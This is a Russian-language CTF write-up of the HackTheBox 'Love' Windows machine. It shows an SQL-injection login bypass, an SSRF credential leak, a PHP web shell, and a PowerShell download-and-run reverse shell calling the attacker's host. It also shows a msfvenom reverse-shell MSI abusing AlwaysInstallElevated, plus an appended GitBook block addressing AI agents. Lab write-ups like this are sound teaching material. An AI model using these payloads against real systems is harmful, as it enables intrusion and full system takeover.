> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Разбор HackTheBox Love Разбор Easy Windows-машины HackTheBox Love, охватывающий SQL-инъекцию (SQLI), подделку запросов на стороне сервера (SSRF), злоупотребление загрузкой файлов, эксплуатацию системы голосования, с практическими заметками по перечислению, эксплуатации, f {% embed url="" %} {% hint style="warning" %} **Навыки:** * SQL-инъекция (SQLI) * Подделка запроса на стороне сервера (SSRF) * Злоупотребление загрузкой файлов * Эксплуатация системы голосования * Злоупотребление AlwaysInstallElevated (файл msiexec/msi) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Анализ открытых портов с помощью extractport:** Использование функции extractport для вывода открытых портов в кратком формате и копирования их в буфер обмена.

**Сканирование версий портов с помощью Nmap:** Использование Nmap для сканирования версий портов и сохранения информации в файл "targeted": ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

**Поиск каталогов:** Мы используем Gobuster для поиска каталогов на сайте: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

В `admin` в каталоге мы обнаруживаем панель управления.

## Эксплуатация системы голосования: В данном случае есть два способа взаимодействия с панелью управления Voting System: ### 1. Уязвимость SSRF: Порт 443 раскрывает `staging.love.htb` поддомен, который мы добавляем в наш `/etc/hosts` файле.

Этот сайт может сканировать веб-сайты по URL.

При сканировании `localhost:5000` (недоступный извне), мы обнаруживаем учетные данные: `admin: @LoveIsInTheAir!!!!`

Примечание: Снаружи отображается сообщение "You don't have permission to access this resource.", блокирующее доступ.

### **2. Уязвимость SQL-инъекции (**[**SQLi**](/ru/web/sql-injection.md)**) :** С `searchsploit` мы ищем конкретные уязвимости Voting System и находим следующий payload:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Используя Burp Suite, мы получаем доступ к панели управления.

## Уязвимость загрузки файлов: Оказавшись на панели управления, опция позволяет создать нового пользователя. Мы создаем `cmd.php` файл для выполнения команд на сервере:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

Панель не выполняет никаких проверок безопасности, позволяя нам внедрять команды (например, `whoami`). Проверив команду ping, мы проверяем соединение:

мы проверим, может ли оно выполнить ping

ping 10.10.14.10
tcpdump -i tun0 icmp

Получив ответ, мы подтверждаем возможность выполнения команд на целевой машине

**Команда PowerShell для обратной оболочки** Как только увидим, что можем выполнять команды, мы загрузим `PS.ps1` скрипт на нашу машину. {% embed url="" %} В конце скрипта мы добавляем следующую строку: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Мы создадим веб-сервер с помощью `PS.ps1` скрипт ```bash python3 -m http.server 80 ``` Затем изменим команду, чтобы она указывала на наш веб-сервер: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Наконец, прослушаем порт 4444: ```bash rlwrap nc -nlvp 4444 ```

### Флаг user.txt:

## Повышение привилегий: ### **Перечисление с помощью winPEASx64.exe** Чтобы выполнить повышение привилегий на сервере Windows, сначала запустите `winPEAS` инструмент разведки. {% embed url="" %} Скачивание инструмента разведки winPEASx64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Проверка AlwaysInstallElevated Эта `winPEAS` инструмент проверяет различные параметры безопасности системы. Нас особенно интересует `AlwaysInstallElevated` раздел реестра. Если этот ключ установлен в `1` в `HKLM` (HKEY/LOCAL/MACHINE), это означает, что все `.msi` файлы могут устанавливаться с повышенными привилегиями, что является уязвимостью.

{% embed url="" %} **Создать .msi-файл для получения обратной оболочки** Чтобы воспользоваться этой уязвимостью, мы создадим `.msi` файл, который после запуска предоставит нам обратную оболочку. Мы используем `msfvenom` для создания этого файла: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Передача .msi**/ файл После создания файла, мы должны передать его на целевую машину: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Слушать порт 443**/ Перед запуском `.msi` файла мы должны прослушивать указанный нами порт. Давайте используем `nc` (netcat) для этого: ```powershell rlwrap nc -nlvp 443 ``` **Выполнение команды установки**/ Наконец, мы запускаем `.msi` файл с помощью `msiexec`, что запускает тихую установку: ```powershell msiexec /quiet /qn /i reverse.msi ```

### Флаг root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.